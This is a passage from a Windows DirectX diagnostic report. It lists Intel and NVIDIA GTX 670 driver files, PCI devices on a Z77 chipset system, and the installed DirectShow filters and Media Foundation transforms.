Driver: C:\WINDOWS\system32\IntelOpenCL64.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:26, 241664 bytes Driver: C:\WINDOWS\system32\igdbcl64.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:14, 3581440 bytes Driver: C:\WINDOWS\system32\igdrcl64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:12, 27664896 bytes Driver: C:\WINDOWS\system32\igdfcl64.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:20, 27457536 bytes Driver: C:\WINDOWS\SysWow64\Intel_OpenCL_ICD32.dll, 1.02.0001.0000 (English), 12/14/2012 02:42:12, 56320 bytes Driver: C:\WINDOWS\SysWow64\IntelOpenCL32.dll, 1.01.0000.1003 (English), 12/14/2012 02:42:36, 196096 bytes Driver: C:\WINDOWS\SysWow64\igdbcl32.dll, 9.17.0010.2884 (English), 12/14/2012 02:42:12, 2898944 bytes Driver: C:\WINDOWS\SysWow64\igdrcl32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:16, 27643904 bytes Driver: C:\WINDOWS\SysWow64\igdfcl32.dll, 8.01.0000.2932 (English), 12/14/2012 02:42:36, 21850112 bytes Driver: C:\WINDOWS\system32\igfxCoIn_v2932.dll, 1.02.0030.0000 (English), 12/14/2012 02:42:20, 116224 bytes Name: NVIDIA GeForce GTX 670 Device ID: PCI\VEN_10DE&DEV_1189&SUBSYS_355A1458&REV_A1\4&15001D53&0&0008 Driver: C:\Program Files\NVIDIA Corporation\Drs\dbInstaller.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 233760 bytes Driver: C:\Program Files\NVIDIA Corporation\Drs\nvdrsdb.bin, 2/26/2013 00:32:36, 1102808 bytes Driver: C:\WINDOWS\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_67d640ab45cc6b34\NvCplSetupInt.exe, 1.00.0001.0000 (English), 2/26/2013 00:32:22, 73372616 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\Nvd3d9wrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 286536 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:42, 4096 bytes Driver: C:\Program Files (x86)\NVIDIA Corporation\coprocmanager\nvdxgiwrap.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 193336 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\Nvd3d9wrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 327248 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\detoured.dll, 2/26/2013 00:32:36, 4096 bytes Driver: C:\Program Files\NVIDIA Corporation\coprocmanager\nvdxgiwrapx.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:04, 228880 bytes Driver: C:\Program Files\NVIDIA Corporation\license.txt, 2/26/2013 00:32:08, 21898 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\MCU.exe, 1.00.4647.21994 (English), 2/26/2013 00:32:08, 1562400 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvdebugdump.exe, 2/26/2013 00:32:44, 223008 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.1.pdf, 2/26/2013 00:32:40, 40574 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvidia-smi.exe, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 241440 bytes Driver: C:\Program Files\NVIDIA Corporation\NVSMI\nvml.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:42, 428320 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:06, 53024 bytes Driver: C:\Program Files\NVIDIA Corporation\OpenCL\OpenCL64.dll, 1.00.0000.0000 (English), 2/26/2013 00:32:40, 61216 bytes Driver: C:\WINDOWS\system32\DRIVERS\nvlddmkm.sys, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 11036448 bytes Driver: C:\WINDOWS\system32\nvEncodeAPI64.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:36, 420128 bytes Driver: C:\WINDOWS\system32\nvapi64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:40, 2826040 bytes Driver: C:\WINDOWS\system32\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:44, 25256224 bytes Driver: C:\WINDOWS\system32\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:06, 9390760 bytes Driver: C:\WINDOWS\system32\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 2346784 bytes Driver: C:\WINDOWS\system32\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:28, 2904352 bytes Driver: C:\WINDOWS\system32\nvd3dumx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 18055184 bytes Driver: C:\WINDOWS\system32\nvinfo.pb, 2/26/2013 00:32:08, 17266 bytes Driver: C:\WINDOWS\system32\nvinitx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:32, 245872 bytes Driver: C:\WINDOWS\system32\nvoglv64.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 26929440 bytes Driver: C:\WINDOWS\system32\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 7564040 bytes Driver: C:\WINDOWS\system32\nvumdshimx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:38, 1107440 bytes Driver: C:\WINDOWS\system32\nvwgf2umx.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 15053264 bytes Driver: C:\WINDOWS\SysWow64\nvEncodeAPI.dll, 6.14.0013.1106 (English), 2/26/2013 00:32:28, 364832 bytes Driver: C:\WINDOWS\SysWow64\nvapi.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:44, 2505144 bytes Driver: C:\WINDOWS\SysWow64\nvcompiler.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:24, 17560352 bytes Driver: C:\WINDOWS\SysWow64\nvcuda.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:34, 7932256 bytes Driver: C:\WINDOWS\SysWow64\nvcuvenc.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:08, 1985824 bytes Driver: C:\WINDOWS\SysWow64\nvcuvid.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:36, 2720544 bytes Driver: C:\WINDOWS\SysWow64\nvd3dum.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:42, 15129960 bytes Driver: C:\WINDOWS\SysWow64\nvinit.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:04, 201576 bytes Driver: C:\WINDOWS\SysWow64\nvoglv32.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:26, 20449056 bytes Driver: C:\WINDOWS\SysWow64\nvopencl.dll, 8.17.0013.1106 (English), 2/26/2013 00:32:40, 6262608 bytes Driver: C:\WINDOWS\SysWow64\nvumdshim.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:36, 958120 bytes Driver: C:\WINDOWS\SysWow64\nvwgf2um.dll, 9.18.0013.1106 (English), 2/26/2013 00:32:08, 12641992 bytes Driver: C:\WINDOWS\system32\nvdispco64.dll, 2.00.0029.0004 (English), 2/26/2013 00:32:38, 1814304 bytes Driver: C:\WINDOWS\system32\nvdispgenco64.dll, 2.00.0016.0002 (English), 2/26/2013 00:32:32, 1510176 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor PCI Express Root Port - 0151 Device ID: PCI\VEN_8086&DEV_0151&SUBSYS_01511849&REV_09\3&11583659&0&08 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family SATA AHCI Controller Device ID: PCI\VEN_8086&DEV_1E02&SUBSYS_1E021849&REV_04\3&11583659&0&FA Driver: C:\WINDOWS\system32\DRIVERS\iaStorA.sys, 11.07.0000.1013 (English), 11/19/2012 12:10:38, 652344 bytes Name: PCI standard PCI-to-PCI bridge Device ID: PCI\VEN_1B21&DEV_1080&SUBSYS_10801849&REV_03\4&C7A4F95&0&00E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 8 - 1E1E Device ID: PCI\VEN_8086&DEV_1E1E&SUBSYS_1E1E1849&REV_C4\3&11583659&0&E7 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Broadcom NetLink (TM) Gigabit Ethernet Device ID: PCI\VEN_14E4&DEV_16B1&SUBSYS_96B11849&REV_10\4&2B8260C3&0&00E4 Driver: C:\WINDOWS\system32\DRIVERS\k57nd60a.sys, 15.04.0000.0009 (English), 8/25/2012 22:11:34, 433976 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 6 - 1E1A Device ID: PCI\VEN_8086&DEV_1E1A&SUBSYS_1E1A1849&REV_C4\3&11583659&0&E5 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) Z77 Express Chipset LPC Controller - 1E44 Device ID: PCI\VEN_8086&DEV_1E44&SUBSYS_1E441849&REV_04\3&11583659&0&F8 Driver: C:\WINDOWS\system32\DRIVERS\msisadrv.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 17136 bytes Name: ASMedia XHCI Controller Device ID: PCI\VEN_1B21&DEV_1042&SUBSYS_10421849&REV_00\4&37A73C8A&0&00E7 Driver: C:\WINDOWS\system32\DRIVERS\asmtxhci.sys, 1.16.0002.0000 (English), 8/20/2012 10:38:12, 416072 bytes Name: Asmedia 106x SATA Controller Device ID: PCI\VEN_1B21&DEV_0612&SUBSYS_06121849&REV_01\4&33B94F4C&0&00E3 Driver: C:\WINDOWS\system32\DRIVERS\asahci64.sys, 1.03.0008.0000 (English), 7/18/2012 11:29:46, 49048 bytes Driver: C:\WINDOWS\system32\ahcipp64.dll, 1.00.0000.0001 (English), 7/8/2011 21:29:04, 48736 bytes Name: Intel(R) Management Engine Interface Device ID: PCI\VEN_8086&DEV_1E3A&SUBSYS_1E3A1849&REV_04\3&11583659&0&B0 Driver: C:\WINDOWS\system32\DRIVERS\HECIx64.sys, 9.00.0000.1287 (English), 1/11/2013 19:02:34, 64624 bytes Name: Intel(R) USB 3.0 eXtensible Host Controller - 0100 (Microsoft) Device ID: PCI\VEN_8086&DEV_1E31&SUBSYS_1E311849&REV_04\3&11583659&0&A0 Driver: C:\WINDOWS\system32\DRIVERS\UCX01000.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 212208 bytes Driver: C:\WINDOWS\system32\DRIVERS\USBXHCI.SYS, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 337136 bytes Name: Xeon(R) processor E3-1200 v2/3rd Gen Core processor DRAM Controller - 0150 Device ID: PCI\VEN_8086&DEV_0150&SUBSYS_01501849&REV_09\3&11583659&0&00 Driver: n/a ------------------ DirectShow Filters ------------------ DirectShow Filters: WMAudio Decoder DMO,0x00800800,1,1,WMADMOD.DLL,6.02.9200.16384 WMAPro over S/PDIF DMO,0x00600800,1,1,WMADMOD.DLL,6.02.9200.16384 WMSpeech Decoder DMO,0x00600800,1,1,WMSPDMOD.DLL,6.02.9200.16384 MP3 Decoder DMO,0x00600800,1,1,mp3dmod.dll,6.02.9200.16384 Mpeg4s Decoder DMO,0x00800001,1,1,mp4sdecd.dll,6.02.9200.16384 WMV Screen decoder DMO,0x00600800,1,1,wmvsdecd.dll,6.02.9200.16384 WMVideo Decoder DMO,0x00800001,1,1,wmvdecod.dll,6.02.9200.16384 Mpeg43 Decoder DMO,0x00800001,1,1,mp43decd.dll,6.02.9200.16384 Mpeg4 Decoder DMO,0x00800001,1,1,mpg4decd.dll,6.02.9200.16384 DV Muxer,0x00400000,0,0,qdv.dll,6.06.9200.16384 Color Space Converter,0x00400001,1,1,quartz.dll,6.06.9200.16384 WM ASF Reader,0x00400000,0,0,qasf.dll,12.00.9200.16384 AVI Splitter,0x00600000,1,1,quartz.dll,6.06.9200.16384 VGA 16 Color Ditherer,0x00400000,1,1,quartz.dll,6.06.9200.16384 SBE2MediaTypeProfile,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft DTV-DVD Video Decoder,0x005fffff,2,4,msmpeg2vdec.dll,12.00.8500.0000 AC3 Parser Filter,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 StreamBufferSink,0x00200000,0,0,sbe.dll,6.06.9200.16384 MJPEG Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 MPEG-I Stream Splitter,0x00600000,1,2,quartz.dll,6.06.9200.16384 SAMI (CC) Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 MPEG-2 Splitter,0x005fffff,1,0,mpg2splt.ax,6.06.9200.16384 Closed Captions Analysis Filter,0x00200000,2,5,cca.dll,6.06.9200.16384 SBE2FileScan,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft MPEG-2 Video Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 Internal Script Command Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG Audio Decoder,0x03680001,1,1,quartz.dll,6.06.9200.16384 DV Splitter,0x00600000,1,2,qdv.dll,6.06.9200.16384 Video Mixing Renderer 9,0x00200000,1,0,quartz.dll,6.06.9200.16384 Microsoft MPEG-2 Encoder,0x00200000,2,1,msmpeg2enc.dll,12.00.9200.16384 ACM Wrapper,0x00600000,1,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG-2 Video Stream Analyzer,0x00200000,0,0,sbe.dll,6.06.9200.16384 Line 21 Decoder,0x00600000,1,1,, Video Port Manager,0x00600000,2,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00400000,1,0,quartz.dll,6.06.9200.16384 VPS Decoder,0x00200000,0,0,WSTPager.ax,6.06.9200.16384 WM ASF Writer,0x00400000,0,0,qasf.dll,12.00.9200.16384 VBI Surface Allocator,0x00600000,1,1,vbisurf.ax,6.02.9200.16384 File writer,0x00200000,1,0,qcap.dll,6.06.9200.16384 DVD Navigator,0x00200000,0,3,qdvd.dll,6.06.9200.16384 Overlay Mixer2,0x00200000,1,1,, Microsoft MPEG-2 Audio Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 WST Pager,0x00200000,1,1,WSTPager.ax,6.06.9200.16384 MPEG-2 Demultiplexer,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 DV Video Decoder,0x00800000,1,1,qdv.dll,6.06.9200.16384 SampleGrabber,0x00200000,1,1,qedit.dll,6.06.9200.16384 Null Renderer,0x00200000,1,0,qedit.dll,6.06.9200.16384 MPEG-2 Sections and Tables,0x005fffff,1,0,Mpeg2Data.ax,6.06.9200.16384 Microsoft AC3 Encoder,0x00200000,1,1,msac3enc.dll,6.02.9200.16384 StreamBufferSource,0x00200000,0,0,sbe.dll,6.06.9200.16384 Smart Tee,0x00200000,1,2,qcap.dll,6.06.9200.16384 Overlay Mixer,0x00200000,0,0,, AVI Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 AVI/WAV File Source,0x00400000,0,2,quartz.dll,6.06.9200.16384 Wave Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 MIDI Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 Multi-file Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 File stream renderer,0x00400000,1,1,quartz.dll,6.06.9200.16384 Microsoft DTV-DVD Audio Decoder,0x005fffff,1,1,msmpeg2adec.dll,12.00.8506.0000 StreamBufferSink2,0x00200000,0,0,sbe.dll,6.06.9200.16384 AVI Mux,0x00200000,1,0,qcap.dll,6.06.9200.16384 Line 21 Decoder 2,0x00600002,1,1,quartz.dll,6.06.9200.16384 File Source (Async.),0x00400000,0,1,quartz.dll,6.06.9200.16384 File Source (URL),0x00400000,0,1,quartz.dll,6.06.9200.16384 AudioRecorder WAV Dest,0x00200000,0,0,WavDest.dll, AudioRecorder Wave Form,0x00200000,0,0,WavDest.dll, SoundRecorder Null Renderer,0x00200000,0,0,WavDest.dll, Infinite Pin Tee Filter,0x00200000,1,1,qcap.dll,6.06.9200.16384 Enhanced Video Renderer,0x00200000,1,0,evr.dll,6.02.9200.16384 BDA MPEG2 Transport Information Filter,0x00200000,2,0,psisrndr.ax,6.06.9200.16384 MPEG Video Decoder,0x40000001,1,1,quartz.dll,6.06.9200.16384 WDM Streaming Tee/Splitter Devices: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Video Compressors: WMVideo8 Encoder DMO,0x00600800,1,1,wmvxencd.dll,6.02.9200.16384 WMVideo9 Encoder DMO,0x00600800,1,1,wmvencod.dll,6.02.9200.16384 MSScreen 9 encoder DMO,0x00600800,1,1,wmvsencd.dll,6.02.9200.16384 DV Video Encoder,0x00200000,0,0,qdv.dll,6.06.9200.16384 MJPEG Compressor,0x00200000,0,0,quartz.dll,6.06.9200.16384 Audio Compressors: WM Speech Encoder DMO,0x00600800,1,1,WMSPDMOE.DLL,6.02.9200.16384 WMAudio Encoder DMO,0x00600800,1,1,WMADMOE.DLL,6.02.9200.16384 IMA ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 PCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 Microsoft ADPCM,0x00200000,1,1,quartz.dll,6.06.9200.16384 GSM 6.10,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT A-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 CCITT u-Law,0x00200000,1,1,quartz.dll,6.06.9200.16384 MPEG Layer-3,0x00200000,1,1,quartz.dll,6.06.9200.16384 Audio Capture Sources: Microphone (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 SPDIF Interface (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 Line (Plantronics GameCom 780),0x00200000,0,0,qcap.dll,6.06.9200.16384 PBDA CP Filters: PBDA DTFilter,0x00600000,1,1,CPFilters.dll,6.06.9200.16384 PBDA ETFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 PBDA PTFilter,0x00200000,0,0,CPFilters.dll,6.06.9200.16384 Midi Renderers: Default MidiOut Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Microsoft GS Wavetable Synth,0x00200000,1,0,quartz.dll,6.06.9200.16384 WDM Streaming Capture Devices: Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 WDM Streaming Rendering Devices: HD Audio SPDIF out,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 HD Audio Speaker,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Plantronics GameCom 780,0x00200000,4,2,ksproxy.ax,6.02.9200.16384 BDA Network Providers: Microsoft ATSC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBC Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBS Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft DVBT Network Provider,0x00200000,0,1,MSDvbNP.ax,6.06.9200.16384 Microsoft Network Provider,0x00200000,0,1,MSNP.ax,6.06.9200.16384 Multi-Instance Capable VBI Codecs: VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 BDA Transport Information Renderers: BDA MPEG2 Transport Information Filter,0x00600000,2,0,psisrndr.ax,6.06.9200.16384 MPEG-2 Sections and Tables,0x00600000,1,0,Mpeg2Data.ax,6.06.9200.16384 BDA CP/CA Filters: Decrypt/Tag,0x00600000,1,1,EncDec.dll,6.06.9200.16384 Encrypt/Tag,0x00200000,0,0,EncDec.dll,6.06.9200.16384 PTFilter,0x00200000,0,0,EncDec.dll,6.06.9200.16384 XDS Codec,0x00200000,0,0,EncDec.dll,6.06.9200.16384 WDM Streaming Communication Transforms: Tee/Sink-to-Sink Converter,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Audio Renderers: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 Default DirectSound Device,0x00800000,1,0,quartz.dll,6.06.9200.16384 Default WaveOut Device,0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (Plantronics GameCom 780),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 DirectSound: Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Speakers (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 Digital Audio (S/PDIF) (High Definition Audio Device),0x00200000,1,0,quartz.dll,6.06.9200.16384 ---------------------------- Preferred DirectShow Filters ---------------------------- [HKEY_LOCAL_MACHINE\Software\Microsoft\DirectShow\Preferred] <media subtype GUID>, [<filter friendly name>, ]<filter CLSID> MEDIASUBTYPE_WMAUDIO_LOSSLESS, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_MPG4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject WMMEDIASUBTYPE_WMSP2, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_WVC1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject {64687664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_h264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG1AudioPayload, MPEG Audio Decoder, CLSID_CMpegAudioCodec {78766964-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_WMAUDIO3, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_WMV2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MPEG2_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {64697678-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_MP3, MP3 Decoder DMO, CLSID_CMP3DecMediaObject MEDIASUBTYPE_mp42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MSS1, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject MEDIASUBTYPE_WVP2, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV1, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVP, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMV3, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_WMVR, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MJPG, MJPEG Decompressor, CLSID_MjpegDec MEDIASUBTYPE_mp43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MSS2, WMV Screen decoder DMO, CLSID_CMSSCDecMediaObject {64737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec WMMEDIASUBTYPE_WMAudioV8, WMAudio Decoder DMO, CLSID_CWMADecMediaObject {44495658-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject WMMEDIASUBTYPE_WMSP1, WMSpeech Decoder DMO, CLSID_CWMSPDecMediaObject MEDIASUBTYPE_RAW_AAC1, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS {6C737664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec MEDIASUBTYPE_MP43, Mpeg43 Decoder DMO, CLSID_CMpeg43DecMediaObject MEDIASUBTYPE_MPEG1Payload, MPEG Video Decoder, CLSID_CMpegVideoCodec MEDIASUBTYPE_AVC1, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS {20637664-0000-0010-8000-00AA00389B71}, DV Video Decoder, CLSID_DVVideoCodec {58564944-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP42, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_MPEG_ADTS_AAC, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_mpg4, Mpeg4 Decoder DMO, CLSID_CMpeg4DecMediaObject MEDIASUBTYPE_M4S2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_m4s2, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MP4S, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_mp4s, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_MPEG1Packet, MPEG Video Decoder, CLSID_CMpegVideoCodec {5634504D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject {7634706D-0000-0010-8000-00AA00389B71}, Mpeg4s Decoder DMO, CLSID_CMpeg4sDecMediaObject MEDIASUBTYPE_H264, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_MPEG2_VIDEO, Microsoft DTV-DVD Video Decoder, CLSID_CMPEG2VidDecoderDS MEDIASUBTYPE_WMVA, WMVideo Decoder DMO, CLSID_CWMVDecMediaObject MEDIASUBTYPE_MSAUDIO1, WMAudio Decoder DMO, CLSID_CWMADecMediaObject MEDIASUBTYPE_DVD_LPCM_AUDIO, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS MEDIASUBTYPE_MPEG_LOAS, Microsoft DTV-DVD Audio Decoder, CLSID_CMPEG2AudDecoderDS --------------------------- Media Foundation Transforms --------------------------- [HKEY_LOCAL_MACHINE\Software\Classes\MediaFoundation\Transforms] <category>: <transform friendly name>, <transform CLSID>, <flags>, [<merit>, ]<file name>, <file version> Video Decoders: Microsoft MPEG Video Decoder MFT, {2D709E52-123F-49B5-9CBC-9AF5CDE28FB9}, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 DV Decoder MFT, {404A6DE5-D4D6-4260-9BC7-5A6CBD882432}, 0x1, mfdvdec.dll, 6.02.9200.16384 Mpeg4s Decoder MFT, CLSID_CMpeg4sDecMFT, 0x1, mp4sdecd.dll, 6.02.9200.16384 Microsoft H264 Video Decoder MFT, CLSID_CMSH264DecoderMFT, 0x1, msmpeg2vdec.dll, 12.00.8500.0000 WMV Screen decoder MFT, CLSID_CMSSCDecMediaObject, 0x1, wmvsdecd.dll, 6.02.9200.16384 WMVideo Decoder MFT, CLSID_CWMVDecMediaObject, 0x1, wmvdecod.dll, 6.02.9200.16384 MJPEG Decoder MFT, {CB17E772-E1CC-4633-8450-5617AF577905}, 0x1, mfmjpegdec.dll, 6.02.9200.16384 Mpeg43 Decoder MFT, CLSID_CMpeg43DecMediaObject, 0x1, mp43decd.dll, 6.02.9200.16384 Mpeg4 Decoder MFT, CLSID_CMpeg4DecMediaObject, 0x1, mpg4decd.dll, 6.02.9200.16384 Video Encoders: Intel® Quick Sync Video H.264 Encoder MFT, {4BE8D3C0-0515-4A37-AD55-E4BAE19AF471}, 0x4, 7, mfx_mft_h264ve_64.dll, 3.12.0010.0031 H264 Encoder MFT, {6CA50344-051A-4DED-9779-A43305165E35}, 0x1, mfh264enc.dll, 6.02.9200.16384 WMVideo8 Encoder MFT, CLSID_CWMVXEncMediaObject, 0x1, wmvxencd.dll, 6.02.9200.16384 WMVideo9 Encoder MFT, CLSID_CWMV9EncMediaObject, 0x1, wmvencod.dll, 6.02.9200.16384 Microsoft MPEG-2 Video Encoder MFT, {E6335F02-80B7-4DC4-ADFA-DFE7210D20D5}, 0x2, msmpeg2enc.dll, 12.00.9200.16384 Video Effects: Frame Rate Converter, CLSID_CFrameRateConvertDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Resizer MFT, CLSID_CResizerDMO, 0x1, vidreszr.dll, 6.02.9200.16384 VideoStabilization MFT, {51571744-7FE4-4FF2-A498-2DC34FF74F1B}, 0x1, MSVideoDSP.dll, 6.02.9200.16384 Color Control, CLSID_CColorControlDmo, 0x1, mfvdsp.dll, 6.02.9200.16384 Color Converter MFT, CLSID_CColorConvertDMO, 0x1, colorcnv.dll, 6.02.9200.16384 Video Processor: Microsoft Video Processor MFT, {88753B26-5B24-49BD-B2E7-0C445C78C982}, 0x1, msvproc.dll, 12.00.9200.16384 Audio Decoders: Microsoft Dolby Digital Plus Decoder MFT, {177C0AFE-900B-48D4-9E4C-57ADD250B3D4}, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 WMAudio Decoder MFT, CLSID_CWMADecMediaObject, 0x1, WMADMOD.DLL, 6.02.9200.16384 Microsoft AAC Audio Decoder MFT, CLSID_CMSAACDecMFT, 0x1, MSAudDecMFT.dll, 6.02.9200.16384 GSM ACM Wrapper MFT, {4A76B469-7B66-4DD4-BA2D-DDF244C766DC}, 0x1, mfcore.dll, 12.00.9200.16384 WMAPro over S/PDIF MFT, CLSID_CWMAudioSpdTxDMO, 0x1, 